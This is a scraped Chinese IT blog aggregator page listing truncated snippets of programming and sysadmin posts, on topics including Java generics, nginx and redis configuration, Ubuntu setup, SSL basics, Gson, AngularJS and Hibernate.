定义如下一个抽象的范型类，其中定义了两个范型参数，T1，T2 
  
package com.tom.lang.generics;

public abstract class SuperGenerics<T1, T2> {
    private T1 t1;
    private T2 t2;

    public abstract void doIt(T
                                
                                
【Nginx六】nginx.conf常用指令(Directive)
                                    bit1129
Directive
                                    
1. worker_processes    8; 
表示Nginx将启动8个工作者进程，通过ps -ef|grep nginx,会发现有8个Nginx Worker Process在运行 
  
nobody    53879 118449  0 Apr22 ?        00:26:15 nginx: worker process          
                                
                                
lua 遍历Header头部
                                    ronin47
lua header 遍历　
                                    
 
 local headers = ngx.req.get_headers()   
 ngx.say("headers begin", "<br/>")   
 ngx.say("Host : ", he
                                
                                
java-32.通过交换a,b中的元素，使[序列a元素的和]与[序列b元素的和]之间的差最小(两数组的差最小)。
                                    bylijinnan
java
                                    

import java.util.Arrays;

public class MinSumASumB {

	/**
	 * Q32.有两个序列a,b，大小都为n,序列元素的值任意整数，无序.
	 * 
	 * 要求：通过交换a,b中的元素，使[序列a元素的和]与[序列b元素的和]之间的差最小。 
	 * 例如: 
	 * int[] a = {100,99,98,1,2,3
                                
                                
redis
                                    开窍的石头
redis
                                    
在redis的redis.conf配置文件中找到# requirepass foobared 
把它替换成requirepass 12356789 后边的12356789就是你的密码 
 
打开redis客户端输入config get requirepass 
返回 
redis 127.0.0.1:6379> config get requirepass 
1) "require
                                
                                
[JAVA图像与图形]现有的GPU架构支持JAVA语言吗？
                                    comsci
java语言
                                    
 
 
      无论是opengl还是cuda，都是建立在C语言体系架构基础上的，在未来，图像图形处理业务快速发展，相关领域市场不断扩大的情况下，我们JAVA语言系统怎么从这么庞大，且还在不断扩大的市场上分到一块蛋糕，是值得每个JAVAER认真思考和行动的事情 
 
 
       
                                
                                
安装ubuntu14.04登录后花屏了怎么办
                                    cuiyadll
ubuntu
                                    
这个情况，一般属于显卡驱动问题。 
可以先尝试安装显卡的官方闭源驱动。 
按键盘三个键：CTRL + ALT  +  F1 
进入终端，输入用户名和密码登录终端： 
安装amd的显卡驱动       
sudo  
apt-get  
install  
fglrx       
安装nvidia显卡驱动       
sudo  
ap
                                
                                
SSL 与 数字证书 的基本概念和工作原理
                                    darrenzhu
加密ssl证书密钥签名
                                    
SSL 与 数字证书 的基本概念和工作原理 

http://www.linuxde.net/2012/03/8301.html 
 
SSL握手协议的目的是或最终结果是让客户端和服务器拥有一个共同的密钥，握手协议本身是基于非对称加密机制的，之后就使用共同的密钥基于对称加密机制进行信息交换。 
 
 
 

http://www.ibm.com/developerworks/cn/webspher
                                
                                
Ubuntu设置ip的步骤
                                    dcj3sjt126com
ubuntu
                                    
在单位的一台机器完全装了Ubuntu Server，但回家只能在XP上VM一个，装的时候网卡是DHCP的，用ifconfig查了一下ip是192.168.92.128,可以ping通。 
转载不是错： 
Ubuntu命令行修改网络配置方法 
/etc/network/interfaces打开后里面可设置DHCP或手动设置静态ip。前面auto eth0，让网卡开机自动挂载. 
1. 以D
                                
                                
php包管理工具推荐
                                    dcj3sjt126com
PHPComposer
                                    
http://www.phpcomposer.com/ 
       Composer是 PHP 用来管理依赖（dependency）关系的工具。你可以在自己的项目中声明所依赖的外部工具库（libraries），Composer 会帮你安装这些依赖的库文件。  
中文文档  
入门指南  
下载  
安装包列表   
Composer 中国镜像      
                                
                                
Gson使用四（TypeAdapter）
                                    eksliang
jsongsonGson自定义转换器gsonTypeAdapter
                                    
转载请出自出处：http://eksliang.iteye.com/blog/2175595 一.概述 
       Gson的TypeAapter可以理解成自定义序列化和返序列化 二、应用场景举例 
       例如我们通常去注册时（那些外国网站），会让我们输入firstName，lastName,但是转到我们都
                                
                                
JQM控件之Navbar和Tabs
                                    gundumw100
htmlxmlcss
                                    
在JQM中使用导航栏Navbar是简单的。 
 
只需要将data-role="navbar"赋给div即可： 
 

<div data-role="navbar">
    <ul>
        <li><a href="#" class="ui-btn-active&qu
                                
                                
利用归并排序算法对大文件进行排序
                                    iwindyforest
java归并排序大文件分治法Merge sort
                                    
  
归并排序算法介绍，请参照Wikipeida 
zh.wikipedia.org/wiki/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F 
基本思想： 
大文件分割成行数相等的两个子文件，递归（归并排序）两个子文件，直到递归到分割成的子文件低于限制行数 
低于限制行数的子文件直接排序 
两个排序好的子文件归并到父文件 
直到最后所有排序好的父文件归并到输入
                                
                                
iOS UIWebView URL拦截
                                    啸笑天
UIWebView
                                    
本文译者：candeladiao，原文：URL filtering for UIWebView on the iPhone说明：译者在做app开发时，因为页面的javascript文件比较大导致加载速度很慢，所以想把javascript文件打包在app里，当UIWebView需要加载该脚本时就从app本地读取，但UIWebView并不支持加载本地资源。最后从下文中找到了解决方法，第一次翻译，难免有
                                
                                
索引的碎片整理SQL语句
                                    macroli
sql
                                    
SET NOCOUNT ON
DECLARE @tablename VARCHAR (128)
DECLARE @execstr VARCHAR (255)
DECLARE @objectid INT
DECLARE @indexid INT
DECLARE @frag DECIMAL
DECLARE @maxfrag DECIMAL
--设置最大允许的碎片数量,超过则对索引进行碎片
                                
                                
Angularjs同步操作http请求with $promise
                                    qiaolevip
每天进步一点点学习永无止境AngularJS纵观千象
                                    
// Define a factory
app.factory('profilePromise', ['$q', 'AccountService', function($q, AccountService) {
      var deferred = $q.defer();
      AccountService.getProfile().then(function(res) {
  
                                
                                
hibernate联合查询问题
                                    sxj19881213
sqlHibernateHQL联合查询
                                    
最近在用hibernate做项目，遇到了联合查询的问题，以及联合查询中的N+1问题。 
针对无外键关联的联合查询，我做了HQL和SQL的实验，希望能帮助到大家。（我使用的版本是hibernate3.3.2） 
  
1 几个常识： 
 （1）hql中的几种join查询，只有在外键关联、并且作了相应配置时才能使用。 
 （2）hql的默认查询策略，在进行联合查询时，会产
                                
                                
struts2.xml
                                    wuai
struts
                                    
<?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE struts PUBLIC 
 "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" 
 "http://struts.apache
                                
                
            
        
    

    

        

            按字母分类：
            ABCDEFGHIJKLMNOPQRSTUVWXYZ其他
        
    

    

        

            首页 -
            关于我们 -
            站内搜索 -
            Sitemap -
            侵权投诉
        
        
版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.